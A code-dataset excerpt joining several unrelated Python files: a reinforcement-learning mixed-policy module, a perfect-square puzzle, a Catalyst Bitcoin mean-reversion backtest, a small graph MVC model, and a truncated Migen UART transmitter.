network_creator\n self.tester = tester\n self.network = None\n self._init_network()\n Policy.__init__(self)\n\n def _init_network(self):\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n assert np.array(lb).min() == -1 and np.array(ub).max() == 1, \"low bound or upper bound assert error. must in range [-1, 1]\"\n action_range = np.array([lb, ub]).T.tolist()\n self.network = self.network_creator(self.sess, self.policy_name, input_size, action_size, action_range, self.is_continuous)\n self.sess.initialize()\n\n def get_output_size(self):\n if isinstance(self.ac_space, gym.spaces.Box) or isinstance(self.ac_space, rllab.spaces.Box):\n if len(self.ac_space.shape) == 1:\n return self.ac_space.shape[0]\n raise NotImplementedError\n\n def get_input_size(self):\n if isinstance(self.ob_space, gym.spaces.Box) or isinstance(self.ob_space, rllab.spaces.Box):\n if len(self.ob_space.shape) == 1:\n return self.ob_space.shape[0]\n raise NotImplementedError\n\n def act(self, ob, sto, eps=-1.0):\n # todo : exploration_strategy implement in policy instead of agent\n if len(ob.shape) == 1:\n ob = ob.reshape((-1,) + ob.shape)\n if sto == False:\n return self.network.act(ob)\n else:\n return self.network.epsilon_act(ob, True, eps)\n\n def get_policy_params(self, ob):\n if self.policy_type == Network.DETERMINISTIC_POLICY:\n return self.act(ob, sto=False, eps=-1.0)\n elif self.policy_type == Network.STOCHASTIC_POLICY_FIX_STD:\n return self.network.get_pdparams(ob)\n\n def pop_params(self):\n return self.network.get_temp_network_var_content()\n\n def replace_params(self, params):\n self.network.copy_trainable_value(*params)\n\n def reset_network_params(self):\n self.network.reset_all_value()\n\n def reset_and_copy_by_policy(self, origin_policy):\n self.reset_network_params()\n params = origin_policy.pop_params()\n self.replace_params(params)\n\n def copy_all_policy_params(self, origin_policy):\n self.reset_and_copy_by_policy(origin_policy)\n\n def train(self, *argv, **argkw):\n return self.network.train_unit(*argv, **argkw)\n\n def logp(self, obs, acs):\n if self.policy_type == Network.STOCHASTIC_POLICY_FIX_STD:\n return self.network.logp(obs, acs)\n else:\n raise NotImplementedError\n\n def kl(self, other_policy, obs):\n if self.policy_type == Network.STOCHASTIC_POLICY_FIX_STD:\n pdparams = self.network.get_pdparams(obs)\n pdparams = pdparams.T\n mean = pdparams[:self.get_output_size()]\n std = pdparams[self.get_output_size():]\n logstd = np.log(std)\n\n old_pdparams = other_policy.network.get_pdparams(obs)\n old_pdparams = old_pdparams.T\n old_mean = old_pdparams[:self.get_output_size()]\n old_std = old_pdparams[self.get_output_size():]\n old_logstd = np.log(old_std)\n return old_logstd - logstd + (std ** 2 + (mean - old_mean)**2) / (2.0 * (old_std ** 2))\n else:\n raise NotImplementedError\n\n def get_importance_ratio(self, old_policy, obs, acs):\n if self.policy_type == Network.STOCHASTIC_POLICY_FIX_STD:\n logp = self.logp(obs, acs)\n old_logp = old_policy.logp(obs, acs)\n diff_log = logp - old_logp\n return np.exp(diff_log)\n else:\n raise NotImplementedError\n\n\nclass MixPolicy(SinglePolicy):\n\n def __init__(self, decay_rate, *argv, **argkw):\n self.network_list = []\n self.decay_rate = decay_rate\n self.rate_list = []\n self.network_counter = 1\n # self.mix_together_samples= mix_together_samples\n SinglePolicy.__init__(self, *argv, **argkw)\n self.exploration_strategy = None\n\n def _init_network(self):\n self.append_new_network()\n\n def get_policy_params(self, ob):\n if self.policy_type == Network.DETERMINISTIC_POLICY:\n origin_act = self.network.act(ob)\n elif self.policy_type == Network.STOCHASTIC_POLICY_FIX_STD:\n origin_act = self.network.get_pdparams(ob)\n else:\n raise NotImplementedError(\"error policy type\")\n if len(self.network_list) == 1:\n return np.array(origin_act, copy=True), origin_act\n else:\n return np.zeros(np.shape(origin_act)), origin_act\n\n def append_new_network(self, zero_init=False, traj_gen=None, return_before=None, next_sample=None):\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n self.network = network = self.network_creator(self.sess, self.policy_name+str(self.network_counter), input_size, action_size, action_range, self.is_continuous)\n self.network_list.append(network)\n self.network_counter += 1\n self.sess.initialize()\n if zero_init:\n obs = traj_gen.get_history_obs()\n print(\"obs shape %s\" % str(np.array(obs).shape))\n ac_shape = [np.array(obs).shape[0], self.get_output_size()]\n acs = np.zeros(ac_shape)\n for i in range(60):\n network.train_unit_batch_with_test(np.array(obs), acs, epoch=500, precision=1e-4, inner_batch_size=256,\n zero_init=True, next_sample=next_sample)\n if i % 10 == 0:\n ret = self.tester.check_and_test(self, always=True)\n self.tester.add_custom_record(\"append-network-return\", self.tester.time_step_holder.get_time(\n ), ret, x_name='time_step', y_name='return avg')\n print(\"ret %s, return before %s. percent %s\" % (ret, return_before, ret / return_before))\n if (ret / return_before) > 0.80:\n break\n for j in range(50):\n self.tester.time_step_holder.inc_time()\n\n def act(self, ob, sto=False, eps=-1.0):\n # todo : exploration_strategy implement in policy instead of agent\n\n if len(ob.shape) == 1:\n ob = ob.reshape((-1,) + ob.shape)\n res = self._act(ob, sto, eps)\n else:\n if ob.shape[0] > MAX_TRAIN_DATA:\n clip_times = ob.shape[0] // MAX_TRAIN_DATA\n ac_list = []\n for i in range(clip_times):\n ac_list.append(self._act(ob[MAX_TRAIN_DATA*i:MAX_TRAIN_DATA*(i+1)], sto, eps))\n if ob.shape[0] % MAX_TRAIN_DATA != 0:\n ac_list.append(self._act(ob[MAX_TRAIN_DATA * clip_times:], sto, eps))\n res = np.concatenate(ac_list)\n else:\n res = self._act(ob, sto, eps)\n return res\n\n def _act(self, ob, sto, eps):\n action_list = []\n weight_act = None\n if self.policy_type == Network.DETERMINISTIC_POLICY:\n if sto == False:\n for n in self.network_list:\n action_list.append(n.act(ob))\n else:\n for n in self.network_list:\n\n action_list.append(n.epsilon_act(ob, True, eps))\n # weight_list.append(self.decay_rate)\n # multiply 1.0 to get a copy of ndarray\n weight_act = np.clip(action_list[0] * 1.0, -1, 1)\n del action_list[0]\n for a in action_list:\n weight_act = np.clip(weight_act + a * self.decay_rate, -1, 1)\n assert weight_act.min() >= -1 and weight_act.max() <= 1, \"weight act assert error %s\" % weight_act\n elif self.policy_type == Network.STOCHASTIC_POLICY_FIX_STD:\n assert sto == False, \"not implement of stochastic action for stochastic policy network\"\n params_list = []\n for n in self.network_list:\n params_list.append(n.get_pdparams(ob))\n weight_params = params_list[0]\n p_list = params_list[0].T.tolist()\n weight_mean = np.array(p_list[0])\n weight_std = np.array(p_list[1])\n del params_list[0]\n for p in params_list:\n p_list = p.T.tolist()\n mean = np.array(p_list[0])\n std = np.array(p_list[1])\n weight_mean += mean * self.decay_rate\n weight_std += std * self.decay_rate\n weight_act = weight_mean + np.reshape(np.random.randn(weight_mean.size), np.shape(weight_mean)) * weight_std\n return weight_act\n\n # def pop_params(self):\n # return self.network_list[-1].get_temp_network_var_content()\n\n # def replace_params(self, params):\n # self.network_list[-1].copy_trainable_value(*params)\n\n # def reset_network_params(self):\n # self.network_list[-1].reset_all_value()\n\n # def train(self, *argv, **argkw):\n # return self.network_list[-1].train_unit(*argv, **argkw)\n def __uniform_sample(self, sample_number):\n input_size = self.get_input_size()\n rand_result = np.random.rand(sample_number, input_size)\n high = self.ob_space.high\n low = self.ob_space.low\n ob_range = high - low\n\n def mix_network_together_buffer(self, obs, traj_gen, imitation_times, *trainargs, **trainargkw):\n origin_obs_shape = np.array(obs).shape\n print(\"obs shape %s\" % str(origin_obs_shape))\n acs = self.act(np.array(obs), sto=False)\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n network = self.network_creator(self.sess, self.policy_name+str(self.network_counter), input_size, action_size, action_range, self.is_continuous)\n self.sess.initialize()\n seg_gen = traj_gen.traj_segment_generator(network)\n repeat = imitation_times\n mix_obs = obs\n mix_acs = acs\n for i in range(repeat):\n seg = seg_gen.__next__()\n stu_obs = seg[Trajectory.OBS]\n while stu_obs.shape[0] < (origin_obs_shape[0]/10):\n seg = seg_gen.__next__()\n stu_obs = np.concatenate([seg[Trajectory.OBS], stu_obs], axis=0)\n mix_obs = np.concatenate([stu_obs, mix_obs], axis=0)\n stu_acs = self.act(np.array(stu_obs), sto=False)\n mix_acs = np.concatenate([stu_acs, mix_acs], axis=0)\n network.train_unit_batch_with_test(mix_obs, mix_acs, *trainargs, **trainargkw)\n if i % 10 == 0:\n self.tester.check_and_test(network, always=True)\n # network.train_unit(np.array(obs), acs, * trainargs, **trainargkw)\n # network.train_unit_batch(np.array(obs), acs, *trainargs, **trainargkw)\n # network.train_unit_with_test(np.array(obs), acs, *trainargs, **trainargkw)\n self.network = network\n self.network_counter += 1\n self.network_list = [network]\n\n def mix_network_together_cross_imitation(self, traj_gen, imitation_times, return_before, *trainargs, **trainargkw):\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n network = self.network_creator(self.sess, self.policy_name+str(self.network_counter), input_size, action_size, action_range, self.is_continuous)\n self.sess.initialize()\n expert_gent = traj_gen.traj_segment_generator(self)\n stu_gen = traj_gen.traj_segment_generator(network)\n ret = 0.\n repeat_times = 0\n end = False\n mix_obs = None\n mix_acs = None\n while not end and repeat_times <= 60:\n repeat_times += 1\n print(\"imitate, repeat times %s\" % str(repeat_times))\n sample_size = 512\n for i in range(imitation_times):\n expert_sample_number = 0\n expert_seg = expert_gent.__next__()\n expert_obs = expert_seg[Trajectory.OBS]\n expert_sample_number += expert_seg[Trajectory.LENGHT]\n while expert_sample_number < sample_size:\n expert_seg = expert_gent.__next__()\n expert_obs = np.concatenate([expert_seg[Trajectory.OBS], expert_obs], axis=0)\n expert_sample_number += expert_seg[Trajectory.LENGHT]\n mix_obs = expert_obs if mix_obs is None else np.concatenate([expert_obs, mix_obs], axis=0)\n expert_acs = self.act(np.array(expert_obs), sto=False)\n mix_acs = expert_acs if mix_acs is None else np.concatenate([expert_acs, mix_acs], axis=0)\n\n stu_sample_number = 0\n stu_seg = stu_gen.__next__()\n stu_obs = stu_seg[Trajectory.OBS]\n stu_sample_number += stu_seg[Trajectory.LENGHT]\n while stu_sample_number < sample_size:\n stu_seg = stu_gen.__next__()\n stu_obs = np.concatenate([stu_seg[Trajectory.OBS], stu_obs], axis=0)\n stu_sample_number += stu_seg[Trajectory.LENGHT]\n\n mix_obs = np.concatenate([stu_obs, mix_obs], axis=0)\n stu_acs = self.act(np.array(stu_obs), sto=False)\n mix_acs = np.concatenate([stu_acs, mix_acs], axis=0)\n network.train_unit_batch_with_test(mix_obs, mix_acs, *trainargs, **trainargkw)\n ret = self.tester.check_and_test(network, always=True)\n self.tester.add_custom_record(\"mix-network-return\", self.tester.time_step_holder.get_time(\n ), ret, x_name='time_step', y_name='return avg')\n print(\"ret %s, return before %s. percent %s\" % (ret, return_before, ret / return_before))\n if ret / return_before > 0.8:\n end = True\n break\n self.network = network\n self.network_counter += 1\n self.network_list = [network]\n\n\n def mix_network_together_imitation(self, traj_gen, imitation_times, return_before, *trainargs, **trainargkw):\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n network = self.network_creator(self.sess, self.policy_name+str(self.network_counter), input_size, action_size, action_range, self.is_continuous)\n self.sess.initialize()\n expert_gent = traj_gen.traj_segment_generator(self)\n sample_size = 10000\n sample_number = 0\n expert_seg = expert_gent.__next__()\n expert_obs = expert_seg[Trajectory.OBS]\n print(\"[expert sampling]\")\n while sample_number < sample_size:\n expert_seg = expert_gent.__next__()\n expert_obs = np.concatenate([expert_seg[Trajectory.OBS], expert_obs], axis=0)\n sample_number += expert_seg[Trajectory.LENGHT]\n origin_obs_shape = np.array(expert_obs).shape\n expert_acs = self.act(np.array(expert_obs), sto=False)\n print(\"obs shape %s\" % str(origin_obs_shape))\n ret = 0.\n repeat_times = 0\n end = False\n while not end and repeat_times <= 60:\n repeat_times += 1\n print(\"imitate, repeat times %s\" % str(repeat_times))\n\n # if repeat_times % 5 == 0:\n # self.tester.add_custom_record(\"re-initialize\", self.tester.time_step_holder.get_time(), ret,\n # x_name='time_step', y_name='return avg')\n # print(\"reset network.\")\n # network.reset_all_value()\n # expert_gent = traj_gen.traj_segment_generator(self)\n # sample_number = 0\n # expert_seg = expert_gent.__next__()\n # expert_obs = expert_seg[Trajectory.OBS]\n # print(\"[expert sampling]\")\n # while sample_number < sample_size:\n # expert_seg = expert_gent.__next__()\n # expert_obs = np.concatenate([expert_seg[Trajectory.OBS], expert_obs], axis=0)\n # sample_number += expert_seg[Trajectory.LENGHT]\n # origin_obs_shape = np.array(expert_obs).shape\n # expert_acs = self.act(np.array(expert_obs), sto=False)\n # print(\"obs shape %s\" % str(origin_obs_shape))\n seg_gen = traj_gen.traj_segment_generator(network)\n mix_obs = expert_obs\n mix_acs = expert_acs\n std_number = 500\n for i in range(imitation_times):\n print(\"target shape %s, iter times %s\" % (std_number, i))\n # print(\"target shape %s, iter times %s\" % (origin_obs_shape[0]/10, i))\n seg = seg_gen.__next__()\n stu_obs = seg[Trajectory.OBS]\n while stu_obs.shape[0] < (std_number):\n seg = seg_gen.__next__()\n stu_obs = np.concatenate([seg[Trajectory.OBS], stu_obs], axis=0)\n mix_obs = np.concatenate([stu_obs, mix_obs], axis=0)\n stu_acs = self.act(np.array(stu_obs), sto=False)\n mix_acs = np.concatenate([stu_acs, mix_acs], axis=0)\n network.train_unit_batch_with_test(mix_obs, mix_acs, *trainargs, **trainargkw)\n # network.train_unit_with_test(np.array(mix_obs), mix_acs, *trainargs, **trainargkw)\n if i > 0 and i % 10 == 0:\n ret = self.tester.check_and_test(network, always=True)\n self.tester.add_custom_record(\"mix-network-return\", self.tester.time_step_holder.get_time(\n ), ret, x_name='time_step', y_name='return avg')\n print(\"ret %s, return before %s. percent %s\" % (ret, return_before, ret / return_before))\n if ret / return_before > 0.8:\n end = True\n break\n # network.train_unit(np.array(obs), acs, * trainargs, **trainargkw)\n # network.train_unit_batch(np.array(obs), acs, *trainargs, **trainargkw)\n\n self.network = network\n self.network_counter += 1\n self.network_list = [network]\n\n def mix_network_together_direct(self, traj_gen, imitation_times, return_before, *trainargs, **trainargkw):\n obs = traj_gen.get_history_obs()\n print(\"obs shape %s\" % str(np.array(obs).shape))\n acs = self.act(np.array(obs), sto=False)\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n network = self.network_creator(self.sess, self.policy_name+str(self.network_counter), input_size, action_size, action_range, self.is_continuous)\n self.sess.initialize()\n # network.train_unit(np.array(obs), acs, * trainargs, **trainargkw)\n # network.train_unit_batch(np.array(obs), acs, *trainargs, **trainargkw)\n # network.train_unit_with_test(np.array(obs), acs, *trainargs, **trainargkw)\n ret = 0.\n repeat_times = 0\n end = False\n for i in range(imitation_times):\n print(\"imitate, repeat times %s\" % str(i))\n # if repeat_times % 5 == 0:\n # self.tester.add_custom_record(\"re-initialize\", self.tester.time_step_holder.get_time(), ret,\n # x_name='time_step', y_name='return avg')\n # print(\"reset network.\")\n # network.reset_all_value()\n\n network.train_unit_batch_with_test(np.array(obs), acs, *trainargs, **trainargkw)\n if i > 0 and i % 10 == 0:\n ret = self.tester.check_and_test(network, always=True)\n self.tester.add_custom_record(\"mix-network-return\", self.tester.time_step_holder.get_time(\n ), ret, x_name='time_step', y_name='return avg')\n print(\"ret %s, return before %s. percent %s\" % (ret, return_before, ret / return_before))\n if ret / return_before > 0.8:\n end = True\n break\n for j in range(100):\n self.tester.time_step_holder.inc_time()\n\n self.network = network\n self.network_counter += 1\n self.network_list = [network]\n\n\n\n def copy_all_policy_params(self, origin_policy, mix_together=False):\n if mix_together:\n input_size = self.get_input_size()\n action_size = self.get_output_size()\n lb, ub = self.ac_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n self.network = network = self.network_creator(self.sess, self.policy_name+str(self.network_counter), input_size, action_size, action_range, self.is_continuous)\n self.network_counter += 1\n self.sess.initialize()\n p = origin_policy.network.get_temp_network_var_content()\n self.network.copy_trainable_value(*p)\n self.network_list = [network]\n else:\n for n, o_n in zip(self.network_list, origin_policy.network_list):\n n.reset_all_value()\n p = o_n.get_temp_network_var_content()\n n.copy_trainable_value(*p)\n\n def remove_last_network(self):\n del self.network_list[-1]\n if len(self.network_list) == 0:\n self.network == None\n else:\n self.network = self.network_list[-1]\n\n\nif __name__ == '__main__':\n\n def __unit_test_single_policy():\n from SLBDAO.network import Network\n from rllab.envs.mujoco.inverted_double_pendulum_env import InvertedDoublePendulumEnv\n from rllab.envs.normalized_env import normalize\n from SLBDAO.common import models, variables, custom_session\n\n def env_creater(): return normalize(\n InvertedDoublePendulumEnv(), normalize_obs=False)\n env_o = env_creater()\n dim_typ = True\n action_n = env_o.action_space.shape[0]\n lb, ub = env_o.action_space.bounds\n action_range = np.array([lb, ub]).T.tolist()\n lr = 5e-3\n\n def opt_creator(): return tf.train.RMSPropOptimizer(learning_rate=lr)\n ob_space = env_o.observation_space\n ac_space = env_o.action_space\n hidden_units = [32, 8]\n decay = 0.9\n regularizer_rate = 0.01\n scale = 0.01\n activation_fn = tf.nn.leaky_relu\n # note: Set None for continuous\n out_activation_fn = tf.nn.tanh # None # tf.nn.softmax\n model_creator = models.mlp(hidden_units, decay, activation_fn, out_activation_fn, scale)\n network_creator = Network.policy_network_factory(Network.DETERMINISTIC_POLICY, opt_creator=opt_creator, model_creator=model_creator, reuse=False)\n sess = custom_session.CustomSession()\n g = tf.Graph()\n with g.as_default():\n sess.make_session(g, adaptive=True)\n policy = SinglePolicy(Network.DETERMINISTIC_POLICY, sess, 'policy_network', ob_space, ac_space, is_continuous=dim_typ, network_creator=network_creator)\n sess.initialize()\n sample_number = 0\n for i in range(10):\n state_number = 0\n ob = env_o.reset()\n terminal = False\n test_return = 0\n itera_num = 0\n action_list = []\n state_list = []\n while not terminal:\n action = policy.act(ob, sto=True, eps=1)\n # action = policy.act(ob, sto=False, eps=0.5)\n newob, reward, terminal, _ = env_o.step(action[0])\n state_list.append(ob)\n action_list.append(action)\n test_return += reward\n sample_number += 1\n state_number += 1\n itera_num += 1\n\n ob = newob\n print(\"[new] episode size %s, step number %s , eps %s return %s\" %\n (i, state_number, 0.5, test_return))\n\n batch_size = state_number\n\n def __unit_test_mix_policy():\n from SLBDAO.unit_test import agent_test\n agent_test.mix_policy_rate = 1\n with agent_test.g.as_default():\n episode_times = 10\n max_iter_times = None\n sample_size = 1000\n sample_number = 0\n for i in range(10):\n while sample_number < sample_size:\n agent_test.traject_holder.trajectories_generate(agent_test.ag, episode_times, max_iter_times,\n stochastic_ph=False,\n update_eps=0.0,\n mix_policy=False, use_uo=False)\n sample_number = sum(agent_test.traject_holder.len_list)\n\n avg_return = sum(agent_test.traject_holder.return_list) * 1.0 / len(agent_test.traject_holder.return_list)\n avg_episode = sum(agent_test.traject_holder.len_list) * 1.0 / len(agent_test.traject_holder.len_list)\n print(\"[update batch size] avg episode %s , avg return %s\" %\n (avg_episode, avg_return))\n batch_size = int(avg_episode) # ag.get_new_batch_size(last_return, avg_episode)\n obs, weights = agent_test.traject_holder.sample_obs(batch_size)\n if agent_test.name == 'Walker2DEnv' or agent_test.name == 'InvertedDoublePendulumEnv':\n if agent_test.use_std_policy:\n agent_test.ag.vector_to_action = lambda vector_list: agent_test.mujoco_vector_to_actions_fix(\n agent_test.action_n, batch_size, vector_list)\n agent_test.ag.action_to_vector = lambda action_list: agent_test.mujoco_actions_to_vector_fix(agent_test.action_n,\n action_list)\n else:\n agent_test.ag.vector_to_action = lambda vector_list: agent_test.mujoco_vector_to_actions(\n agent_test.action_n, batch_size, vector_list)\n agent_test.ag.action_to_vector = lambda action_list: agent_test.mujoco_actions_to_vector(\n action_list)\n agent_test.ag.update_batch_size_parameters(batch_size, 17500, 0)\n agent_test.ag.mix_together_frequent = 1\n agent_test.ag.parameter.set_budget(50)\n _, reward_update, action_list, success_update, solution = agent_test.ag.action_opt(\n obs, None, 0)\n # agent_test.test.check_and_test(agent_test.ag, always=True)\n # agent_test.ag.mix_policy()\n agent_test.ag.update_policy()\n agent_test.test.check_and_test(agent_test.ag, always=True)\n # __unit_test_single_policy()\n __unit_test_mix_policy()\n","sub_path":"SLBDAO/policy/policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":28020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"143819113","text":"# !/usr/bin/python\nimport math \n\nex = \"一个整数,它加上100后是一个完全平方数,再加上268又是一个完全平方数,请问该数是多少?\"\nprint(ex)\n\n#x+100 +268 \n\nfor i in range(1000):\n x = int(math.sqrt(i + 100))\n \n y = int(math.sqrt(i + 268)) \n #print(\"x is %d y is %d \\n\" % (x,y))\n #print(\"x is %s x^x is %s \\n\" % (x , x * x))\n if x * x == i + 100 and y * y == i + 268:\n print(i)\n #print(i)","sub_path":"python_100_exercise/2_mathsqrt.py","file_name":"2_mathsqrt.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282171930","text":"from catalyst.api import (\r\n order_target_percent,\r\n record,\r\n symbol,\r\n get_open_orders,\r\n set_max_leverage,\r\n schedule_function,\r\n date_rules,\r\n attach_pipeline,\r\n pipeline_output,\r\n)\r\n\r\nfrom catalyst.pipeline import Pipeline\r\nfrom catalyst.pipeline.data import CryptoPricing\r\nfrom catalyst.pipeline.factors.crypto import SimpleMovingAverage\r\nfrom catalyst.pipeline.factors.crypto import AnnualizedVolatility\r\nimport math\r\n\r\n\r\ndef initialize(context):\r\n context.ASSET_NAME = 'USDT_BTC'\r\n context.WINDOW= 30\r\n\r\n # For all trading pairs in the poloniex bundle, the default denomination\r\n # currently supported by Catalyst is 1/1000th of a full coin. Use this\r\n # constant to scale the price of up to that of a full coin if desired.\r\n context.TICK_SIZE = 1000.0\r\n\r\n context.i = 0\r\n context.asset = symbol(context.ASSET_NAME)\r\n\r\n attach_pipeline(make_pipeline(context), 'mr_pipeline')\r\n\r\n schedule_function(\r\n rebalance,\r\n date_rules.every_day(),\r\n )\r\n\r\ndef before_trading_start(context, data):\r\n context.pipeline_data = pipeline_output('mr_pipeline')\r\n\r\ndef make_pipeline(context):\r\n return Pipeline(\r\n columns={\r\n 'price': CryptoPricing.open.latest,\r\n 'sma': SimpleMovingAverage(\r\n inputs=[CryptoPricing.close],\r\n window_length=context.WINDOW,\r\n ),\r\n 'std': AnnualizedVolatility(\r\n inputs=[CryptoPricing.close],\r\n window_length=context.WINDOW,\r\n annualization_factor=1,\r\n ),\r\n }\r\n )\r\n\r\ndef rebalance(context, data):\r\n context.i += 1\r\n\r\n # Skip first LONG_WINDOW bars to fill windows\r\n if context.i < context.WINDOW:\r\n return\r\n\r\n # Get pipeline data for asset of interest\r\n pipeline_data = context.pipeline_data\r\n pipeline_data = pipeline_data[pipeline_data.index == context.asset].iloc[0]\r\n\r\n # Compute the necessary statistics\r\n sma = pipeline_data.sma\r\n std = pipeline_data.std()\r\n price = pipeline_data.price\r\n \r\n # Compute buy and sell thresholds\r\n # Buy threshold is the simple moving average value plus one standard dev.\r\n # Sell threshold is the simple moving average value minus one standard dev.\r\n buy_threshold = sma-std/math.sqrt(context.WINDOW)\r\n sell_threshold = sma+std/math.sqrt(context.WINDOW)\r\n \r\n # Check that the order has not already been placed\r\n open_orders = get_open_orders()\r\n if context.asset not in open_orders:\r\n # check that the asset of interest can currently be traded\r\n if data.can_trade(context.asset):\r\n # Trading logic: if price is less than the buy threshold, mean \r\n # reversion should drive price up. Algorithm invests 100% in the \r\n # asset. In the opposite case, mean reversion should drive price \r\n # down. Algorithm invests 50% in cash and 50% in the asset. If\r\n # price is between buy and sell thresholds, algorithm invests 25%\r\n # in cash and 75% in the asset.\r\n if price < buy_threshold:\r\n order_target_percent(\r\n context.asset,\r\n 1.0,\r\n )\r\n elif price > sell_threshold:\r\n order_target_percent(\r\n context.asset,\r\n 0.5,\r\n )\r\n else:\r\n order_target_percent(\r\n context.asset,\r\n 0.75,\r\n )\r\n\r\n record(\r\n price=price,\r\n leverage=context.account.leverage,\r\n sma=sma,\r\n std=std,\r\n buy_threshold=buy_threshold,\r\n sell_threshold=sell_threshold,\r\n )\r\n \r\ndef analyze(context=None, results=None):\r\n import matplotlib.pyplot as plt\r\n\r\n # Plot the portfolio and asset data.\r\n ax1 = plt.subplot(411)\r\n results[['portfolio_value']].plot(ax=ax1)\r\n ax1.set_ylabel('Portfolio value (USD)')\r\n\r\n ax2 = plt.subplot(412, sharex=ax1)\r\n ax2.set_ylabel('{asset} (USD)'.format(asset=context.ASSET_NAME))\r\n (context.TICK_SIZE*results[['price', 'sma', 'buy_threshold','sell_threshold']]).plot(ax=ax2)\r\n\r\n trans = results.ix[[t != [] for t in results.transactions]]\r\n amounts = [t[0]['amount'] for t in trans.transactions]\r\n\r\n buys = trans.ix[\r\n [t[0]['amount'] > 0 for t in trans.transactions]\r\n ]\r\n sells = trans.ix[\r\n [t[0]['amount'] < 0 for t in trans.transactions]\r\n ]\r\n\r\n ax2.plot(\r\n buys.index,\r\n context.TICK_SIZE * results.price[buys.index],\r\n '^',\r\n markersize=10,\r\n color='g',\r\n )\r\n ax2.plot(\r\n sells.index,\r\n context.TICK_SIZE * results.price[sells.index],\r\n 'v',\r\n markersize=10,\r\n color='r',\r\n )\r\n\r\n ax3 = plt.subplot(413, sharex=ax1)\r\n results[['leverage']].plot(ax=ax3)\r\n ax3.set_ylabel('Leverage (USD)')\r\n\r\n results[[\r\n 'algorithm',\r\n 'benchmark',\r\n ]] = results[[\r\n 'algorithm_period_return',\r\n 'benchmark_period_return',\r\n ]]\r\n\r\n ax4 = plt.subplot(414, sharex=ax1)\r\n results[[\r\n 'algorithm',\r\n 'benchmark',\r\n ]].plot(ax=ax4)\r\n ax4.set_ylabel('Percent Change')\r\n\r\n plt.legend(loc=3)\r\n\r\n # Show the plot.\r\n plt.gcf().set_size_inches(18, 8)\r\n plt.show()","sub_path":"2018_02_15_cryptocurrencies_trading/algorithms/shared/mr_btc-1500963590682.py","file_name":"mr_btc-1500963590682.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"415861232","text":"\n\"\"\"Модуль модели (Model) предоставляет данные и реагирует\nна команды контроллера (Controller), изменяя своё состояние.\n\"\"\"\n\n\n\nfrom .Graph import Graph\nfrom .Render import *\n\n\nclass GraphModel():\n \"\"\"Класс модели (Model).\n\n Attributes:\n graph (Graph): Экземпляр класса Graph.\n functions (dict): Словарь функций.\n \"\"\"\n def __init__(self):\n self.graph = Graph()\n self.functions = {\n drawDefault.__name__: drawDefault,\n drawColoring.__name__: drawColoring,\n drawMinPath.__name__: drawMinPath\n }\n\n","sub_path":"Modules/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"90902578","text":"#Modulo encargado de controlar las transiciones de estado para el envio de \n#una palabra de 40 bits dividiendola en 8 bytes (2 bytes por cada 10 bits)\n#utilizando un modulo tx\nfrom migen import *\nimport sys\nsys.path.append('/home/diegoaranda/Documents/Tesis/tesis/UART')\nfrom tx_uart import *\nclass Transmitter40b(Module):\n\tdef __init__(self):\n\t\tself.data_in=Signal(40) #los 10 bits a enviar\n\t\tself.trans_en=Signal() #habilitador para el envio\n\t\tself.tx_serial=Signal() #senhal serial de salida\n\t\tself.tx_40bdone=Signal() #se activa cuando se han enviado los dos bytes\n\t\t# # #\n\t\tself.submodules.trans_fsm=FSM(reset_state=\"IDLE\")\n\t\t#ATENCIOOOOOONNNNNN CON LA FRECUENCIA\n\t\t#En las simulaciones trabajar a la misma frecuencia del hardware para detectar errores\n\t\t#transmitter=tx(freq=12000000, baud_rate=4000000, n_bits=8)\n\t\ttransmitter=tx(freq=22000, baud_rate=9600, n_bits=8)\n\t\tself.byte_cnt=Signal(4) #Contador de bytes enviados\n\t\tself.submodules+=transmitter\n\t\tself.comb+=self.tx_serial.eq(transmitter.tx_serial)\n\t\tself.trans_fsm.act(\"IDLE\",\n\t\t\tIf((self.trans_en & ~transmitter.tx_done),\n\t\t\t\tNextState(\"SENDING_BYTE\"),\n\t\t\t\t#Se acitva el modulo tx y se envian los primeros 5 bits menos significativos\n\t\t\t\tNextValue(transmitter.tx_ready,1),\n\t\t\t\tNextValue(transmitter.tx_data,self.data_in[0:5])\n\t\t\t).Else(NextState(\"IDLE\"),\n\t\t\t\tNextValue(transmitter.tx_ready,0)\n\t\t\t),\n\t\t\tNextValue(self.tx_40bdone,0)\n\t\t)\n\t\t\n\t\tself.trans_fsm.act(\"SENDING_BYTE\",\n\t\t\tIf(transmitter.tx_done,\n\t\t\t\tNextValue(self.byte_cnt,self.byte_cnt+1),\n\t\t\t\tIf(self.byte_cnt<7, \n\t\t\t\t\tNextValue(transmitter.tx_ready,1),\n\t\t\t\t\tNextState(\"WAITING\")\n\t\t\t\t).Else(\n\t\t\t\t\tNextState(\"IDLE\"),\n\t\t\t\t\tNextValue(self.tx_40bdone,1),\n\t\t\t\t\tNextValue(transmitter.tx_ready,0),\n\t\t\t\t\tNextValue(self.byte_cnt,0)\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\t\t#Se espera que el transmisor termine de resetear su senhal 